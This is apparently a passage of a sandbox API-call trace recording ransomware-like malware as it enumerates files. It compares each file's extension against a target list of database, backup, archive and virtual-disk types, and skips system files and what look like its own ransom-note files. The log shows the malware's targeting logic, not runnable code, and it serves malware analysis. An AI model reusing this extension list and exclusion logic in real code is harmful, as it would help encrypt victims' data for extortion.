	[0036.906] lstrcmpiW (lpString1="e.url", lpString2="accdt") returned 1
	[0036.906] lstrlenW (lpString="accdw") returned 5
	[0036.906] lstrcmpiW (lpString1="e.url", lpString2="accdw") returned 1
	[0036.906] lstrlenW (lpString="accft") returned 5
	[0036.906] lstrcmpiW (lpString1="e.url", lpString2="accft") returned 1
	[0036.906] lstrlenW (lpString="adb") returned 3
	[0036.906] lstrcmpiW (lpString1="url", lpString2="adb") returned 1
	[0036.906] lstrlenW (lpString="adb") returned 3
	[0036.906] lstrcmpiW (lpString1="url", lpString2="adb") returned 1
	[0036.906] lstrlenW (lpString="ade") returned 3
	[0036.906] lstrcmpiW (lpString1="url", lpString2="ade") returned 1
	[0036.906] lstrlenW (lpString="adf") returned 3
	[0036.906] lstrcmpiW (lpString1="url", lpString2="adf") returned 1
	[0036.906] lstrlenW (lpString="adn") returned 3
	[0036.906] lstrcmpiW (lpString1="url", lpString2="adn") returned 1
	[0036.906] lstrlenW (lpString="adp") returned 3
	[0036.906] lstrcmpiW (lpString1="url", lpString2="adp") returned 1
	[0036.906] lstrlenW (lpString="alf") returned 3
	[0036.906] lstrcmpiW (lpString1="url", lpString2="alf") returned 1
	[0036.906] lstrlenW (lpString="ask") returned 3
	[0036.906] lstrcmpiW (lpString1="url", lpString2="ask") returned 1
	[0036.906] lstrlenW (lpString="btr") returned 3
	[0036.906] lstrcmpiW (lpString1="url", lpString2="btr") returned 1
	[0036.906] lstrlenW (lpString="cat") returned 3
	[0036.906] lstrcmpiW (lpString1="url", lpString2="cat") returned 1
	[0036.906] lstrlenW (lpString="cdb") returned 3
	[0036.906] lstrcmpiW (lpString1="url", lpString2="cdb") returned 1
	[0036.906] lstrlenW (lpString="ckp") returned 3
	[0036.906] lstrcmpiW (lpString1="url", lpString2="ckp") returned 1
	[0036.906] lstrlenW (lpString="cma") returned 3
	[0036.906] lstrcmpiW (lpString1="url", lpString2="cma") returned 1
	[0036.906] lstrlenW (lpString="cpd") returned 3
	[0036.906] lstrcmpiW (lpString1="url", lpString2="cpd") returned 1
	[0036.906] lstrlenW (lpString="dacpac") returned 6
	[0036.906] lstrcmpiW (lpString1="te.url", lpString2="dacpac") returned 1
	[0036.906] lstrlenW (lpString="dad") returned 3
	[0036.906] lstrcmpiW (lpString1="url", lpString2="dad") returned 1
	[0036.906] lstrlenW (lpString="dadiagrams") returned 10
	[0036.906] lstrcmpiW (lpString1="n site.url", lpString2="dadiagrams") returned 1
	[0036.907] lstrlenW (lpString="daschema") returned 8
	[0036.907] lstrcmpiW (lpString1="site.url", lpString2="daschema") returned 1
	[0036.907] lstrlenW (lpString="db-journal") returned 10
	[0036.907] lstrcmpiW (lpString1="n site.url", lpString2="db-journal") returned 1
	[0036.907] lstrlenW (lpString="db-shm") returned 6
	[0036.907] lstrcmpiW (lpString1="te.url", lpString2="db-shm") returned 1
	[0036.907] lstrlenW (lpString="db-wal") returned 6
	[0036.907] lstrcmpiW (lpString1="te.url", lpString2="db-wal") returned 1
	[0036.907] lstrlenW (lpString="dbc") returned 3
	[0036.907] lstrcmpiW (lpString1="url", lpString2="dbc") returned 1
	[0036.907] lstrlenW (lpString="dbs") returned 3
	[0036.907] lstrcmpiW (lpString1="url", lpString2="dbs") returned 1
	[0036.907] lstrlenW (lpString="dbt") returned 3
	[0036.907] lstrcmpiW (lpString1="url", lpString2="dbt") returned 1
	[0036.907] lstrlenW (lpString="dbv") returned 3
	[0036.907] lstrcmpiW (lpString1="url", lpString2="dbv") returned 1
	[0036.907] lstrlenW (lpString="dbx") returned 3
	[0036.907] lstrcmpiW (lpString1="url", lpString2="dbx") returned 1
	[0036.907] lstrlenW (lpString="dcb") returned 3
	[0036.907] lstrcmpiW (lpString1="url", lpString2="dcb") returned 1
	[0036.907] lstrlenW (lpString="dct") returned 3
	[0036.907] lstrcmpiW (lpString1="url", lpString2="dct") returned 1
	[0036.907] lstrlenW (lpString="dcx") returned 3
	[0036.907] lstrcmpiW (lpString1="url", lpString2="dcx") returned 1
	[0036.907] lstrlenW (lpString="ddl") returned 3
	[0036.907] lstrcmpiW (lpString1="url", lpString2="ddl") returned 1
	[0036.907] lstrlenW (lpString="dlis") returned 4
	[0036.907] lstrcmpiW (lpString1=".url", lpString2="dlis") returned -1
	[0036.907] lstrlenW (lpString="dp1") returned 3
	[0036.907] lstrcmpiW (lpString1="url", lpString2="dp1") returned 1
	[0036.907] lstrlenW (lpString="dqy") returned 3
	[0036.907] lstrcmpiW (lpString1="url", lpString2="dqy") returned 1
	[0036.907] lstrlenW (lpString="dsk") returned 3
	[0036.907] lstrcmpiW (lpString1="url", lpString2="dsk") returned 1
	[0036.907] lstrlenW (lpString="dsn") returned 3
	[0036.907] lstrcmpiW (lpString1="url", lpString2="dsn") returned 1
	[0036.907] lstrlenW (lpString="dtsx") returned 4
	[0036.907] lstrcmpiW (lpString1=".url", lpString2="dtsx") returned -1
	[0036.908] lstrlenW (lpString="dxl") returned 3
	[0036.908] lstrcmpiW (lpString1="url", lpString2="dxl") returned 1
	[0036.908] lstrlenW (lpString="eco") returned 3
	[0036.908] lstrcmpiW (lpString1="url", lpString2="eco") returned 1
	[0036.908] lstrlenW (lpString="ecx") returned 3
	[0036.908] lstrcmpiW (lpString1="url", lpString2="ecx") returned 1
	[0036.908] lstrlenW (lpString="edb") returned 3
	[0036.908] lstrcmpiW (lpString1="url", lpString2="edb") returned 1
	[0036.908] lstrlenW (lpString="epim") returned 4
	[0036.908] lstrcmpiW (lpString1=".url", lpString2="epim") returned -1
	[0036.908] lstrlenW (lpString="fcd") returned 3
	[0036.908] lstrcmpiW (lpString1="url", lpString2="fcd") returned 1
	[0036.908] lstrlenW (lpString="fdb") returned 3
	[0036.908] lstrcmpiW (lpString1="url", lpString2="fdb") returned 1
	[0036.908] lstrlenW (lpString="fic") returned 3
	[0036.908] lstrcmpiW (lpString1="url", lpString2="fic") returned 1
	[0036.908] lstrlenW (lpString="flexolibrary") returned 12
	[0036.908] lstrcmpiW (lpString1="-on site.url", lpString2="flexolibrary") returned 1
	[0036.908] lstrlenW (lpString="fm5") returned 3
	[0036.908] lstrcmpiW (lpString1="url", lpString2="fm5") returned 1
	[0036.908] lstrlenW (lpString="fmp") returned 3
	[0036.908] lstrcmpiW (lpString1="url", lpString2="fmp") returned 1
	[0036.908] lstrlenW (lpString="fmp12") returned 5
	[0036.908] lstrcmpiW (lpString1="e.url", lpString2="fmp12") returned -1
	[0036.908] lstrlenW (lpString="fmpsl") returned 5
	[0036.908] lstrcmpiW (lpString1="e.url", lpString2="fmpsl") returned -1
	[0036.908] lstrlenW (lpString="fol") returned 3
	[0036.908] lstrcmpiW (lpString1="url", lpString2="fol") returned 1
	[0036.908] lstrlenW (lpString="fp3") returned 3
	[0036.908] lstrcmpiW (lpString1="url", lpString2="fp3") returned 1
	[0036.908] lstrlenW (lpString="fp4") returned 3
	[0036.908] lstrcmpiW (lpString1="url", lpString2="fp4") returned 1
	[0036.908] lstrlenW (lpString="fp5") returned 3
	[0036.908] lstrcmpiW (lpString1="url", lpString2="fp5") returned 1
	[0036.908] lstrlenW (lpString="fp7") returned 3
	[0036.908] lstrcmpiW (lpString1="url", lpString2="fp7") returned 1
	[0036.908] lstrlenW (lpString="fpt") returned 3
	[0036.908] lstrcmpiW (lpString1="url", lpString2="fpt") returned 1
	[0036.908] lstrlenW (lpString="frm") returned 3
	[0036.909] lstrcmpiW (lpString1="url", lpString2="frm") returned 1
	[0036.909] lstrlenW (lpString="gdb") returned 3
	[0036.909] lstrcmpiW (lpString1="url", lpString2="gdb") returned 1
	[0036.909] lstrlenW (lpString="gdb") returned 3
	[0036.909] lstrcmpiW (lpString1="url", lpString2="gdb") returned 1
	[0036.909] lstrlenW (lpString="grdb") returned 4
	[0036.909] lstrcmpiW (lpString1=".url", lpString2="grdb") returned -1
	[0036.909] lstrlenW (lpString="gwi") returned 3
	[0036.909] lstrcmpiW (lpString1="url", lpString2="gwi") returned 1
	[0036.909] lstrlenW (lpString="hdb") returned 3
	[0036.909] lstrcmpiW (lpString1="url", lpString2="hdb") returned 1
	[0036.909] lstrlenW (lpString="his") returned 3
	[0036.909] lstrcmpiW (lpString1="url", lpString2="his") returned 1
	[0036.909] lstrlenW (lpString="ib") returned 2
	[0036.909] lstrcmpiW (lpString1="rl", lpString2="ib") returned 1
	[0036.909] lstrlenW (lpString="idb") returned 3
	[0036.909] lstrcmpiW (lpString1="url", lpString2="idb") returned 1
	[0036.909] lstrlenW (lpString="ihx") returned 3
	[0036.909] lstrcmpiW (lpString1="url", lpString2="ihx") returned 1
	[0036.909] lstrlenW (lpString="itdb") returned 4
	[0036.909] lstrcmpiW (lpString1=".url", lpString2="itdb") returned -1
	[0036.909] lstrlenW (lpString="itw") returned 3
	[0036.909] lstrcmpiW (lpString1="url", lpString2="itw") returned 1
	[0036.909] lstrlenW (lpString="jet") returned 3
	[0036.909] lstrcmpiW (lpString1="url", lpString2="jet") returned 1
	[0036.909] lstrlenW (lpString="jtx") returned 3
	[0036.909] lstrcmpiW (lpString1="url", lpString2="jtx") returned 1
	[0036.909] lstrlenW (lpString="kdb") returned 3
	[0036.909] lstrcmpiW (lpString1="url", lpString2="kdb") returned 1
	[0036.909] lstrlenW (lpString="kexi") returned 4
	[0036.909] lstrcmpiW (lpString1=".url", lpString2="kexi") returned -1
	[0036.909] lstrlenW (lpString="kexic") returned 5
	[0036.909] lstrcmpiW (lpString1="e.url", lpString2="kexic") returned -1
	[0036.909] lstrlenW (lpString="kexis") returned 5
	[0036.909] lstrcmpiW (lpString1="e.url", lpString2="kexis") returned -1
	[0036.909] lstrlenW (lpString="lgc") returned 3
	[0036.909] lstrcmpiW (lpString1="url", lpString2="lgc") returned 1
	[0036.910] lstrlenW (lpString="lwx") returned 3
	[0036.910] lstrcmpiW (lpString1="url", lpString2="lwx") returned 1
	[0036.910] lstrlenW (lpString="maf") returned 3
	[0036.910] lstrcmpiW (lpString1="url", lpString2="maf") returned 1
	[0036.910] lstrlenW (lpString="maq") returned 3
	[0036.910] lstrcmpiW (lpString1="url", lpString2="maq") returned 1
	[0036.910] lstrlenW (lpString="mar") returned 3
	[0036.910] lstrcmpiW (lpString1="url", lpString2="mar") returned 1
	[0036.910] lstrlenW (lpString="marshal") returned 7
	[0036.910] lstrcmpiW (lpString1="ite.url", lpString2="marshal") returned -1
	[0036.910] lstrlenW (lpString="mas") returned 3
	[0036.910] lstrcmpiW (lpString1="url", lpString2="mas") returned 1
	[0036.910] lstrlenW (lpString="mav") returned 3
	[0036.910] lstrcmpiW (lpString1="url", lpString2="mav") returned 1
	[0036.910] lstrlenW (lpString="maw") returned 3
	[0036.910] lstrcmpiW (lpString1="url", lpString2="maw") returned 1
	[0036.910] lstrlenW (lpString="mdbhtml") returned 7
	[0036.910] lstrcmpiW (lpString1="ite.url", lpString2="mdbhtml") returned -1
	[0036.910] lstrlenW (lpString="mdn") returned 3
	[0036.911] lstrcmpiW (lpString1="url", lpString2="mdn") returned 1
	[0036.911] lstrlenW (lpString="mdt") returned 3
	[0036.911] lstrcmpiW (lpString1="url", lpString2="mdt") returned 1
	[0036.911] lstrlenW (lpString="mfd") returned 3
	[0036.911] lstrcmpiW (lpString1="url", lpString2="mfd") returned 1
	[0036.911] lstrlenW (lpString="mpd") returned 3
	[0036.911] lstrcmpiW (lpString1="url", lpString2="mpd") returned 1
	[0036.911] lstrlenW (lpString="mrg") returned 3
	[0036.911] lstrcmpiW (lpString1="url", lpString2="mrg") returned 1
	[0036.911] lstrlenW (lpString="mud") returned 3
	[0036.911] lstrcmpiW (lpString1="url", lpString2="mud") returned 1
	[0036.911] lstrlenW (lpString="mwb") returned 3
	[0036.911] lstrcmpiW (lpString1="url", lpString2="mwb") returned 1
	[0036.911] lstrlenW (lpString="myd") returned 3
	[0036.911] lstrcmpiW (lpString1="url", lpString2="myd") returned 1
	[0036.911] lstrlenW (lpString="ndf") returned 3
	[0036.911] lstrcmpiW (lpString1="url", lpString2="ndf") returned 1
	[0036.911] lstrlenW (lpString="nnt") returned 3
	[0036.912] lstrcmpiW (lpString1="url", lpString2="nnt") returned 1
	[0036.912] lstrlenW (lpString="nrmlib") returned 6
	[0036.912] lstrcmpiW (lpString1="te.url", lpString2="nrmlib") returned 1
	[0036.912] lstrlenW (lpString="ns2") returned 3
	[0036.912] lstrcmpiW (lpString1="url", lpString2="ns2") returned 1
	[0036.912] lstrlenW (lpString="ns3") returned 3
	[0036.912] lstrcmpiW (lpString1="url", lpString2="ns3") returned 1
	[0036.912] lstrlenW (lpString="ns4") returned 3
	[0036.912] lstrcmpiW (lpString1="url", lpString2="ns4") returned 1
	[0036.912] lstrlenW (lpString="nsf") returned 3
	[0036.912] lstrcmpiW (lpString1="url", lpString2="nsf") returned 1
	[0036.912] lstrlenW (lpString="nv") returned 2
	[0036.912] lstrcmpiW (lpString1="rl", lpString2="nv") returned 1
	[0036.912] lstrlenW (lpString="nv2") returned 3
	[0036.912] lstrcmpiW (lpString1="url", lpString2="nv2") returned 1
	[0036.912] lstrlenW (lpString="nwdb") returned 4
	[0036.912] lstrcmpiW (lpString1=".url", lpString2="nwdb") returned -1
	[0036.912] lstrlenW (lpString="nyf") returned 3
	[0036.912] lstrcmpiW (lpString1="url", lpString2="nyf") returned 1
	[0036.912] lstrlenW (lpString="odb") returned 3
	[0036.912] lstrcmpiW (lpString1="url", lpString2="odb") returned 1
	[0036.912] lstrlenW (lpString="odb") returned 3
	[0036.912] lstrcmpiW (lpString1="url", lpString2="odb") returned 1
	[0036.912] lstrlenW (lpString="oqy") returned 3
	[0036.912] lstrcmpiW (lpString1="url", lpString2="oqy") returned 1
	[0036.912] lstrlenW (lpString="ora") returned 3
	[0036.912] lstrcmpiW (lpString1="url", lpString2="ora") returned 1
	[0036.912] lstrlenW (lpString="orx") returned 3
	[0036.912] lstrcmpiW (lpString1="url", lpString2="orx") returned 1
	[0036.912] lstrlenW (lpString="owc") returned 3
	[0036.912] lstrcmpiW (lpString1="url", lpString2="owc") returned 1
	[0036.912] lstrlenW (lpString="p96") returned 3
	[0036.912] lstrcmpiW (lpString1="url", lpString2="p96") returned 1
	[0036.912] lstrlenW (lpString="p97") returned 3
	[0036.912] lstrcmpiW (lpString1="url", lpString2="p97") returned 1
	[0036.912] lstrlenW (lpString="pan") returned 3
	[0036.912] lstrcmpiW (lpString1="url", lpString2="pan") returned 1
	[0036.912] lstrlenW (lpString="pdb") returned 3
	[0036.912] lstrcmpiW (lpString1="url", lpString2="pdb") returned 1
	[0036.913] lstrlenW (lpString="pdm") returned 3
	[0036.913] lstrcmpiW (lpString1="url", lpString2="pdm") returned 1
	[0036.913] lstrlenW (lpString="pnz") returned 3
	[0036.913] lstrcmpiW (lpString1="url", lpString2="pnz") returned 1
	[0036.913] lstrlenW (lpString="qry") returned 3
	[0036.913] lstrcmpiW (lpString1="url", lpString2="qry") returned 1
	[0036.913] lstrlenW (lpString="qvd") returned 3
	[0036.913] lstrcmpiW (lpString1="url", lpString2="qvd") returned 1
	[0036.913] lstrlenW (lpString="rbf") returned 3
	[0036.913] lstrcmpiW (lpString1="url", lpString2="rbf") returned 1
	[0036.913] lstrlenW (lpString="rctd") returned 4
	[0036.913] lstrcmpiW (lpString1=".url", lpString2="rctd") returned -1
	[0036.913] lstrlenW (lpString="rod") returned 3
	[0036.913] lstrcmpiW (lpString1="url", lpString2="rod") returned 1
	[0036.913] lstrlenW (lpString="rodx") returned 4
	[0036.913] lstrcmpiW (lpString1=".url", lpString2="rodx") returned -1
	[0036.913] lstrlenW (lpString="rpd") returned 3
	[0036.913] lstrcmpiW (lpString1="url", lpString2="rpd") returned 1
	[0036.913] lstrlenW (lpString="rsd") returned 3
	[0036.913] lstrcmpiW (lpString1="url", lpString2="rsd") returned 1
	[0036.913] lstrlenW (lpString="sas7bdat") returned 8
	[0036.913] lstrcmpiW (lpString1="site.url", lpString2="sas7bdat") returned 1
	[0036.913] lstrlenW (lpString="sbf") returned 3
	[0036.913] lstrcmpiW (lpString1="url", lpString2="sbf") returned 1
	[0036.913] lstrlenW (lpString="scx") returned 3
	[0036.913] lstrcmpiW (lpString1="url", lpString2="scx") returned 1
	[0036.913] lstrlenW (lpString="sdb") returned 3
	[0036.913] lstrcmpiW (lpString1="url", lpString2="sdb") returned 1
	[0036.913] lstrlenW (lpString="sdc") returned 3
	[0036.913] lstrcmpiW (lpString1="url", lpString2="sdc") returned 1
	[0036.913] lstrlenW (lpString="sdf") returned 3
	[0036.913] lstrcmpiW (lpString1="url", lpString2="sdf") returned 1
	[0036.913] lstrlenW (lpString="sis") returned 3
	[0036.913] lstrcmpiW (lpString1="url", lpString2="sis") returned 1
	[0036.913] lstrlenW (lpString="spq") returned 3
	[0036.913] lstrcmpiW (lpString1="url", lpString2="spq") returned 1
	[0036.914] lstrlenW (lpString="te") returned 2
	[0036.914] lstrcmpiW (lpString1="rl", lpString2="te") returned -1
	[0036.914] lstrlenW (lpString="teacher") returned 7
	[0036.914] lstrcmpiW (lpString1="ite.url", lpString2="teacher") returned -1
	[0036.914] lstrlenW (lpString="tmd") returned 3
	[0036.914] lstrcmpiW (lpString1="url", lpString2="tmd") returned 1
	[0036.914] lstrlenW (lpString="tps") returned 3
	[0036.914] lstrcmpiW (lpString1="url", lpString2="tps") returned 1
	[0036.914] lstrlenW (lpString="trc") returned 3
	[0036.914] lstrcmpiW (lpString1="url", lpString2="trc") returned 1
	[0036.914] lstrlenW (lpString="trc") returned 3
	[0036.914] lstrcmpiW (lpString1="url", lpString2="trc") returned 1
	[0036.914] lstrlenW (lpString="trm") returned 3
	[0036.914] lstrcmpiW (lpString1="url", lpString2="trm") returned 1
	[0036.914] lstrlenW (lpString="udb") returned 3
	[0036.914] lstrcmpiW (lpString1="url", lpString2="udb") returned 1
	[0036.914] lstrlenW (lpString="udl") returned 3
	[0036.914] lstrcmpiW (lpString1="url", lpString2="udl") returned 1
	[0036.914] lstrlenW (lpString="usr") returned 3
	[0036.914] lstrcmpiW (lpString1="url", lpString2="usr") returned -1
	[0036.914] lstrlenW (lpString="v12") returned 3
	[0036.914] lstrcmpiW (lpString1="url", lpString2="v12") returned -1
	[0036.914] lstrlenW (lpString="vis") returned 3
	[0036.914] lstrcmpiW (lpString1="url", lpString2="vis") returned -1
	[0036.914] lstrlenW (lpString="vpd") returned 3
	[0036.914] lstrcmpiW (lpString1="url", lpString2="vpd") returned -1
	[0036.914] lstrlenW (lpString="vvv") returned 3
	[0036.914] lstrcmpiW (lpString1="url", lpString2="vvv") returned -1
	[0036.914] lstrlenW (lpString="wdb") returned 3
	[0036.914] lstrcmpiW (lpString1="url", lpString2="wdb") returned -1
	[0036.914] lstrlenW (lpString="wmdb") returned 4
	[0036.914] lstrcmpiW (lpString1=".url", lpString2="wmdb") returned -1
	[0036.914] lstrlenW (lpString="wrk") returned 3
	[0036.914] lstrcmpiW (lpString1="url", lpString2="wrk") returned -1
	[0036.914] lstrlenW (lpString="xdb") returned 3
	[0036.914] lstrcmpiW (lpString1="url", lpString2="xdb") returned -1
	[0036.914] lstrlenW (lpString="xld") returned 3
	[0036.914] lstrcmpiW (lpString1="url", lpString2="xld") returned -1
	[0036.915] lstrlenW (lpString="xmlff") returned 5
	[0036.915] lstrcmpiW (lpString1="e.url", lpString2="xmlff") returned -1
	[0036.915] FindNextFileW (in: hFindFile=0x5ca290, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa066c0, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IE site on Microsoft.com.url", cAlternateFileName="IESITE~1.URL")) returned 1
	[0036.915] lstrcmpiW (lpString1="IE site on Microsoft.com.url", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0036.915] lstrcmpiW (lpString1="IE site on Microsoft.com.url", lpString2="Apollon865.txt.exe") returned 1
	[0036.915] lstrcmpiW (lpString1="IE site on Microsoft.com.url", lpString2=".") returned 1
	[0036.915] lstrcmpiW (lpString1="IE site on Microsoft.com.url", lpString2="..") returned 1
	[0036.915] lstrcmpiW (lpString1="IE site on Microsoft.com.url", lpString2="windows") returned -1
	[0036.915] lstrcmpiW (lpString1="IE site on Microsoft.com.url", lpString2="bootmgr") returned 1
	[0036.915] lstrcmpiW (lpString1="IE site on Microsoft.com.url", lpString2="temp") returned -1
	[0036.915] lstrcmpiW (lpString1="IE site on Microsoft.com.url", lpString2="pagefile.sys") returned -1
	[0036.915] lstrcmpiW (lpString1="IE site on Microsoft.com.url", lpString2="boot") returned 1
	[0036.915] lstrcmpiW (lpString1="IE site on Microsoft.com.url", lpString2="ids.txt") returned 1
	[0036.915] lstrcmpiW (lpString1="IE site on Microsoft.com.url", lpString2="ntuser.dat") returned -1
	[0036.915] lstrcmpiW (lpString1="IE site on Microsoft.com.url", lpString2="perflogs") returned -1
	[0036.915] lstrcmpiW (lpString1="IE site on Microsoft.com.url", lpString2="MSBuild") returned -1
	[0036.915] lstrlenW (lpString="IE site on Microsoft.com.url") returned 28
	[0036.915] lstrlenW (lpString="C:\\Users\\Default\\Favorites\\Microsoft Websites\\IE Add-on site.url") returned 64
	[0036.915] lstrcpyW (in: lpString1=0x2d3e5ac, lpString2="IE site on Microsoft.com.url" | out: lpString1="IE site on Microsoft.com.url") returned="IE site on Microsoft.com.url"
	[0036.915] lstrlenW (lpString="IE site on Microsoft.com.url") returned 28
	[0036.915] lstrlenW (lpString="Apollon865") returned 10
	[0036.915] lstrcmpiW (lpString1="ft.com.url", lpString2="Apollon865") returned 1
	[0036.915] lstrlenW (lpString=".dll") returned 4
	[0036.915] lstrcmpiW (lpString1="IE site on Microsoft.com.url", lpString2=".dll") returned 1
	[0036.915] lstrlenW (lpString=".lnk") returned 4
	[0036.915] lstrcmpiW (lpString1="IE site on Microsoft.com.url", lpString2=".lnk") returned 1
	[0036.915] lstrlenW (lpString=".ini") returned 4
	[0036.915] lstrcmpiW (lpString1="IE site on Microsoft.com.url", lpString2=".ini") returned 1
	[0036.915] lstrlenW (lpString=".sys") returned 4
	[0036.915] lstrcmpiW (lpString1="IE site on Microsoft.com.url", lpString2=".sys") returned 1
	[0036.915] lstrlenW (lpString="IE site on Microsoft.com.url") returned 28
	[0036.915] lstrlenW (lpString="bak") returned 3
	[0036.915] lstrcmpiW (lpString1="url", lpString2="bak") returned 1
	[0036.915] lstrlenW (lpString="ba_") returned 3
	[0036.915] lstrcmpiW (lpString1="url", lpString2="ba_") returned 1
	[0036.915] lstrlenW (lpString="dbb") returned 3
	[0036.915] lstrcmpiW (lpString1="url", lpString2="dbb") returned 1
	[0036.915] lstrlenW (lpString="vmdk") returned 4
	[0036.916] lstrcmpiW (lpString1=".url", lpString2="vmdk") returned -1
	[0036.916] lstrlenW (lpString="rar") returned 3
	[0036.916] lstrcmpiW (lpString1="url", lpString2="rar") returned 1
	[0036.916] lstrlenW (lpString="zip") returned 3
	[0036.916] lstrcmpiW (lpString1="url", lpString2="zip") returned -1
	[0036.916] lstrlenW (lpString="tgz") returned 3
	[0036.916] lstrcmpiW (lpString1="url", lpString2="tgz") returned 1
	[0036.916] lstrlenW (lpString="vbox") returned 4
	[0036.916] lstrcmpiW (lpString1=".url", lpString2="vbox") returned -1
	[0036.916] lstrlenW (lpString="vdi") returned 3
	[0036.916] lstrcmpiW (lpString1="url", lpString2="vdi") returned -1
	[0036.916] lstrlenW (lpString="vhd") returned 3
	[0036.916] lstrcmpiW (lpString1="url", lpString2="vhd") returned -1
	[0036.916] lstrlenW (lpString="vhdx") returned 4
	[0036.916] lstrcmpiW (lpString1=".url", lpString2="vhdx") returned -1
	[0036.916] lstrlenW (lpString="avhd") returned 4
	[0036.916] lstrcmpiW (lpString1=".url", lpString2="avhd") returned -1
	[0036.916] lstrlenW (lpString="db") returned 2
	[0036.916] lstrcmpiW (lpString1="rl", lpString2="db") returned 1
	[0036.916] lstrlenW (lpString="db2") returned 3
	[0036.916] lstrcmpiW (lpString1="url", lpString2="db2") returned 1
	[0036.916] lstrlenW (lpString="db3") returned 3
	[0036.916] lstrcmpiW (lpString1="url", lpString2="db3") returned 1
	[0036.916] lstrlenW (lpString="dbf") returned 3
	[0036.916] lstrcmpiW (lpString1="url", lpString2="dbf") returned 1
	[0036.916] lstrlenW (lpString="mdf") returned 3
	[0036.916] lstrcmpiW (lpString1="url", lpString2="mdf") returned 1
	[0036.916] lstrlenW (lpString="mdb") returned 3
	[0036.916] lstrcmpiW (lpString1="url", lpString2="mdb") returned 1
	[0036.916] lstrlenW (lpString="sql") returned 3
	[0036.916] lstrcmpiW (lpString1="url", lpString2="sql") returned 1
	[0036.916] lstrlenW (lpString="sqlite") returned 6
	[0036.916] lstrcmpiW (lpString1="om.url", lpString2="sqlite") returned -1
	[0036.916] lstrlenW (lpString="sqlite3") returned 7
	[0036.916] lstrcmpiW (lpString1="com.url", lpString2="sqlite3") returned -1
	[0036.916] lstrlenW (lpString="sqlitedb") returned 8
	[0036.916] lstrcmpiW (lpString1=".com.url", lpString2="sqlitedb") returned -1
	[0036.916] lstrlenW (lpString="xml") returned 3
	[0036.916] lstrcmpiW (lpString1="url", lpString2="xml") returned -1
	[0036.917] lstrlenW (lpString="$er") returned 3
	[0036.917] lstrcmpiW (lpString1="url", lpString2="$er") returned 1
	[0036.917] lstrlenW (lpString="4dd") returned 3
	[0036.917] lstrcmpiW (lpString1="url", lpString2="4dd") returned 1
	[0036.917] lstrlenW (lpString="4dl") returned 3
	[0036.917] lstrcmpiW (lpString1="url", lpString2="4dl") returned 1
	[0036.917] lstrlenW (lpString="^^^") returned 3
	[0036.917] lstrcmpiW (lpString1="url", lpString2="^^^") returned 1
	[0036.917] lstrlenW (lpString="abs") returned 3
	[0036.917] lstrcmpiW (lpString1="url", lpString2="abs") returned 1
	[0036.917] lstrlenW (lpString="abx") returned 3
	[0036.917] lstrcmpiW (lpString1="url", lpString2="abx") returned 1
	[0036.917] lstrlenW (lpString="accdb") returned 5
	[0036.917] lstrcmpiW (lpString1="m.url", lpString2="accdb") returned 1
	[0036.917] lstrlenW (lpString="accdc") returned 5
	[0036.917] lstrcmpiW (lpString1="m.url", lpString2="accdc") returned 1
	[0036.917] lstrlenW (lpString="accde") returned 5
	[0036.917] lstrcmpiW (lpString1="m.url", lpString2="accde") returned 1
	[0036.917] lstrlenW (lpString="accdr") returned 5
	[0036.917] lstrcmpiW (lpString1="m.url", lpString2="accdr") returned 1
	[0036.917] lstrlenW (lpString="accdt") returned 5
	[0036.917] lstrcmpiW (lpString1="m.url", lpString2="accdt") returned 1
	[0036.917] lstrlenW (lpString="accdw") returned 5
	[0036.917] lstrcmpiW (lpString1="m.url", lpString2="accdw") returned 1
	[0036.917] lstrlenW (lpString="accft") returned 5
	[0036.917] lstrcmpiW (lpString1="m.url", lpString2="accft") returned 1
	[0036.917] lstrlenW (lpString="adb") returned 3
	[0036.917] lstrcmpiW (lpString1="url", lpString2="adb") returned 1
	[0036.917] lstrlenW (lpString="adb") returned 3
	[0036.917] lstrcmpiW (lpString1="url", lpString2="adb") returned 1
	[0036.917] lstrlenW (lpString="ade") returned 3
	[0036.917] lstrcmpiW (lpString1="url", lpString2="ade") returned 1
	[0036.917] lstrlenW (lpString="adf") returned 3
	[0036.917] lstrcmpiW (lpString1="url", lpString2="adf") returned 1
	[0036.917] lstrlenW (lpString="adn") returned 3
	[0036.917] lstrcmpiW (lpString1="url", lpString2="adn") returned 1
	[0036.917] lstrlenW (lpString="adp") returned 3
	[0036.918] lstrcmpiW (lpString1="url", lpString2="adp") returned 1
	[0036.918] lstrlenW (lpString="alf") returned 3
	[0036.918] lstrcmpiW (lpString1="url", lpString2="alf") returned 1
	[0036.918] lstrlenW (lpString="ask") returned 3
	[0036.918] lstrcmpiW (lpString1="url", lpString2="ask") returned 1
	[0036.918] lstrlenW (lpString="btr") returned 3
	[0036.918] lstrcmpiW (lpString1="url", lpString2="btr") returned 1
	[0036.918] lstrlenW (lpString="cat") returned 3
	[0036.918] lstrcmpiW (lpString1="url", lpString2="cat") returned 1
	[0036.918] lstrlenW (lpString="cdb") returned 3
	[0036.918] lstrcmpiW (lpString1="url", lpString2="cdb") returned 1
	[0036.918] lstrlenW (lpString="ckp") returned 3
	[0036.918] lstrcmpiW (lpString1="url", lpString2="ckp") returned 1
	[0036.918] lstrlenW (lpString="cma") returned 3
	[0036.918] lstrcmpiW (lpString1="url", lpString2="cma") returned 1
	[0036.918] lstrlenW (lpString="cpd") returned 3
	[0036.918] lstrcmpiW (lpString1="url", lpString2="cpd") returned 1
	[0036.918] lstrlenW (lpString="dacpac") returned 6
	[0036.918] lstrcmpiW (lpString1="om.url", lpString2="dacpac") returned 1
	[0036.918] lstrlenW (lpString="dad") returned 3
	[0036.918] lstrcmpiW (lpString1="url", lpString2="dad") returned 1
	[0036.918] lstrlenW (lpString="dadiagrams") returned 10
	[0036.918] lstrcmpiW (lpString1="ft.com.url", lpString2="dadiagrams") returned 1
	[0036.918] lstrlenW (lpString="daschema") returned 8
	[0036.918] lstrcmpiW (lpString1=".com.url", lpString2="daschema") returned -1
	[0036.918] lstrlenW (lpString="db-journal") returned 10
	[0036.918] lstrcmpiW (lpString1="ft.com.url", lpString2="db-journal") returned 1
	[0036.918] lstrlenW (lpString="db-shm") returned 6
	[0036.918] lstrcmpiW (lpString1="om.url", lpString2="db-shm") returned 1
